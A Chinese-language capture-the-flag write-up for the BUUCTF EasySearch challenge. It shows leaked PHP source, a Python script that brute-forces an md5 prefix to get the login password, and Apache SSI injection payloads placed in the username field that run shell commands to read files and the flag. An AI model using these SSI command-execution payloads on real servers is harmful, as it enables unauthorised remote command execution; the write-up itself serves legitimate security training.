[PHP知识库]BUUCTF [BJDCTF2020]EasySearch

扫描后台得到swp文件泄露，直接访问index.php.swp，看到源码：

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

首先使用脚本爆破，得到登录的密码2020666

import hashlib

for num in range(10000,9999999999):
    res = hashlib.md5(str(num).encode()).hexdigest() #md5改为题目需要的算法
    if res[0:6] == "6d0bc1":   #对hash的前两位为"0e"的数字进行碰撞
        print(str(num)) #等待执行结束 输出结果
        break

抓包，看到响应头中存在：

shtml？Apache SSI 远程命令执行漏洞？
但这个shtml的文件内容我们可控嘛？我们把目光锁定到这两行代码

$shtml = fopen($file_shtml, "w") 
fwrite($shtml,$text);

$text从哪儿来？

$text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';

username我们可控，所以给username传值

<!--#exec cmd="cat /var/www/html" -->

访问响应头给的shtml路径
发现flag

在传值

<!--#exec cmd="cat ../flag*" -->

拿到flag
参考链接：
Apache SSI 远程命令执行漏洞